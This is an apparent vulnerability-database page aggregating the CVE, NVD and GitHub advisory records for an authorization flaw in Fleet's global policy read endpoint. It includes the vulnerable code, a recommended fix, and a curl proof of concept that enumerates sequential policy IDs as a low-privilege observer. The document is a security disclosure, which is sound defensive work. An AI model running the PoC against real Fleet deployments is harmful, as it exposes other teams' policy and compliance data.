Vulnerability-Lookup

CVE-2026-41262 (GCVE-0-2026-41262)

Vulnerability from cvelistv5 – Published: 2026-08-26 18:32 – Updated: 2026-08-26 18:57

Title

Fleet: Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Summary

Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet's team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams' policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-26 18:57 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/fleetdm/fleet/security/advisor…	x_refsource_CONFIRM
https://github.com/fleetdm/fleet/releases/tag/fle…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
fleetdm	fleet	Affected: < 4.85.0	guessed

Show details on NVD website

JSON

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FKIE_CVE-2026-41262

Vulnerability from fkie_nvd - Published: 2026-08-26 19:16 - Updated: 2026-08-26 20:17

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/fleetdm/fleet/releases/tag/fleet-v4.85.0
	security-advisories@github.com	https://github.com/fleetdm/fleet/security/advisories/GHSA-gm7f-v959-fr2g
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/fleetdm/fleet/security/advisories/GHSA-gm7f-v959-fr2g

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "fleet",
          "vendor": "fleetdm",
          "versions": [
            {
              "status": "affected",
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            }
          ]
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      ],
      "source": "security-advisories@github.com"
    }
  ],
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      "lang": "en",
      "value": "Fleet is an open-source device management platform built on osquery. In versions prior to 4.85.0, the global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) fails to verify team ownership of the requested policy, allowing an authenticated user with observer-level access on any single team to read the full details of policies belonging to any other team and bypass Fleet\u0027s team isolation model. The handler authorizes the request against an empty policy object whose TeamID is nil, which an authorization rule permits for any user holding a role on any team, and then fetches the policy by ID with no team filter and returns it without any post-fetch scope check. Because policy IDs are sequential integers, an attacker can enumerate them to read other teams\u0027 policy SQL queries, host pass and fail counts, and associated software-installer and script metadata, exposing security-monitoring strategies and compliance posture across team boundaries. This issue is fixed in version 4.85.0."
    }
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}

GHSA-GM7F-V959-FR2G

Vulnerability from github – Published: 2026-06-26 20:30 – Updated: 2026-06-26 20:30

Summary

Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint

Details

Summary

The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.

Details

The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
    // Auth check uses empty Policy{} — TeamID is nil
    if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
        return nil, err
    }

    // Fetches ANY policy by ID, regardless of team ownership
    policy, err := svc.ds.Policy(ctx, policyID)
    if err != nil {
        return nil, err
    }
    // ... populates install_software and run_script, returns full policy
    return policy, nil
}

The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:

allow {
  is_null(object.team_id)
  object.type == "policy"
  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
  action == read
}

Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:

func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
    teamWhere := "TRUE"  // nil teamID → no team filter
    args := []interface{}{id}
    if teamID != nil {
        teamWhere = "team_id = ?"
        args = append(args, *teamID)
    }
    // ... executes SELECT with WHERE p.id = ? AND {teamWhere}

This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.

By contrast, the properly-secured endpoints verify team scope: - GetTeamPolicyByIDQueries (team_policies.go:421-428) sets TeamID: ptr.Uint(teamID) on the auth object and calls ds.TeamPolicy() which filters by team - DeleteGlobalPolicies (global_policies.go:255-263) explicitly checks policy.PolicyData.TeamID != nil after fetching

PoC

Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.

# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')

# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
  https://fleet.example.com/api/latest/fleet/policies/5

# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
#   "policy": {
#     "id": 5,
#     "name": "Team 2 Sensitive Policy",
#     "query": "SELECT * FROM sensitive_table WHERE ...",
#     "team_id": 2,
#     "passing_host_count": 42,
#     "failing_host_count": 7,
#     "description": "...",
#     "resolution": "...",
#     ...
#   }
# }

Impact

An authenticated user with observer-level access on any single team can:

Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
Access software installer and script metadata associated with other teams' policies via the populatePolicyInstallSoftware and populatePolicyRunScript calls
Enumerate all policies by iterating sequential integer IDs

This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.

Recommended Fix

Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:

func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
    if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
        return nil, err
    }

    policy, err := svc.ds.Policy(ctx, policyID)
    if err != nil {
        return nil, err
    }

    // Verify this is actually a global policy — team policies must be
    // accessed via the team-scoped endpoint which enforces team authorization
    if policy.TeamID != nil {
        return nil, authz.ForbiddenWithInternal(
            "attempting to read team policy via global endpoint",
            authz.UserFromContext(ctx),
            policy,
            fleet.ActionRead,
        )
    }

    if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
        return nil, ctxerr.Wrap(ctx, err, "populate install_software")
    }
    if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
        return nil, ctxerr.Wrap(ctx, err, "populate run_script")
    }

    return policy, nil
}

Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/fleetdm/fleet/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.85.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:30:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe global policy read endpoint (`GET /api/latest/fleet/policies/{policy_id}`) performs authorization against an empty `fleet.Policy{}` struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet\u0027s team isolation model.\n\n## Details\n\nThe vulnerability is in `GetPolicyByIDQueries` at `server/service/global_policies.go:163-180`:\n\n```go\nfunc (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {\n\t// Auth check uses empty Policy{} \u2014 TeamID is nil\n\tif err := svc.authz.Authorize(ctx, \u0026fleet.Policy{}, fleet.ActionRead); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Fetches ANY policy by ID, regardless of team ownership\n\tpolicy, err := svc.ds.Policy(ctx, policyID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// ... populates install_software and run_script, returns full policy\n\treturn policy, nil\n}\n```\n\nThe authorization passes because the OPA rule at `server/authz/policy.rego:724-728` allows reading policies with null `team_id` for any user who holds a role on any team:\n\n```rego\nallow {\n  is_null(object.team_id)\n  object.type == \"policy\"\n  team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]\n  action == read\n}\n```\n\nSince the auth object has nil TeamID, this rule fires for any team member. After authorization, `ds.Policy()` calls `policyDB()` at `server/datastore/mysql/policies.go:283-288` with a nil teamID:\n\n```go\nfunc policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {\n\tteamWhere := \"TRUE\"  // nil teamID \u2192 no team filter\n\targs := []interface{}{id}\n\tif teamID != nil {\n\t\tteamWhere = \"team_id = ?\"\n\t\targs = append(args, *teamID)\n\t}\n\t// ... executes SELECT with WHERE p.id = ? AND {teamWhere}\n```\n\nThis returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.\n\nBy contrast, the properly-secured endpoints verify team scope:\n- `GetTeamPolicyByIDQueries` (`team_policies.go:421-428`) sets `TeamID: ptr.Uint(teamID)` on the auth object and calls `ds.TeamPolicy()` which filters by team\n- `DeleteGlobalPolicies` (`global_policies.go:255-263`) explicitly checks `policy.PolicyData.TeamID != nil` after fetching\n\n## PoC\n\nPrerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.\n\n```bash\n# Step 1: Authenticate as User A (Team 1 observer only)\nTOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"team1observer@example.com\",\"password\":\"password\"}\u0027 | jq -r \u0027.token\u0027)\n\n# Step 2: Enumerate policy IDs (they are sequential integers)\n# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)\ncurl -s -H \"Authorization: Bearer $TOKEN\" \\\n  https://fleet.example.com/api/latest/fleet/policies/5\n\n# Expected: 403 Forbidden (user has no access to Team 2)\n# Actual: 200 OK with full policy data:\n# {\n#   \"policy\": {\n#     \"id\": 5,\n#     \"name\": \"Team 2 Sensitive Policy\",\n#     \"query\": \"SELECT * FROM sensitive_table WHERE ...\",\n#     \"team_id\": 2,\n#     \"passing_host_count\": 42,\n#     \"failing_host_count\": 7,\n#     \"description\": \"...\",\n#     \"resolution\": \"...\",\n#     ...\n#   }\n# }\n```\n\n## Impact\n\nAn authenticated user with observer-level access on any single team can:\n\n- **Read SQL queries** from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details\n- **View host pass/fail counts** for other teams\u0027 policies, leaking compliance posture data across team boundaries\n- **Access software installer and script metadata** associated with other teams\u0027 policies via the `populatePolicyInstallSoftware` and `populatePolicyRunScript` calls\n- **Enumerate all policies** by iterating sequential integer IDs\n\nThis breaks Fleet\u0027s team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.\n\n## Recommended Fix\n\nAdd a post-fetch check in `GetPolicyByIDQueries` to verify the returned policy is actually a global policy (nil TeamID), consistent with how `DeleteGlobalPolicies` operates:\n\n```go\nfunc (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {\n\tif err := svc.authz.Authorize(ctx, \u0026fleet.Policy{}, fleet.ActionRead); err != nil {\n\t\treturn nil, err\n\t}\n\n\tpolicy, err := svc.ds.Policy(ctx, policyID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Verify this is actually a global policy \u2014 team policies must be\n\t// accessed via the team-scoped endpoint which enforces team authorization\n\tif policy.TeamID != nil {\n\t\treturn nil, authz.ForbiddenWithInternal(\n\t\t\t\"attempting to read team policy via global endpoint\",\n\t\t\tauthz.UserFromContext(ctx),\n\t\t\tpolicy,\n\t\t\tfleet.ActionRead,\n\t\t)\n\t}\n\n\tif err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {\n\t\treturn nil, ctxerr.Wrap(ctx, err, \"populate install_software\")\n\t}\n\tif err := svc.populatePolicyRunScript(ctx, policy); err != nil {\n\t\treturn nil, ctxerr.Wrap(ctx, err, \"populate run_script\")\n\t}\n\n\treturn policy, nil\n}\n```\n\nAlternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.",
  "id": "GHSA-gm7f-v959-fr2g",
  "modified": "2026-06-26T20:30:27Z",
  "published": "2026-06-26T20:30:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-gm7f-v959-fr2g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fleetdm/fleet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fleet DM Vulnerable to Cross-Team Policy Data Exposure via Global Policy Read Endpoint"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-41262 (GCVE-0-2026-41262)

FKIE_CVE-2026-41262

GHSA-GM7F-V959-FR2G

Summary

Details

PoC

Impact

Recommended Fix

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Sightings

Nomenclature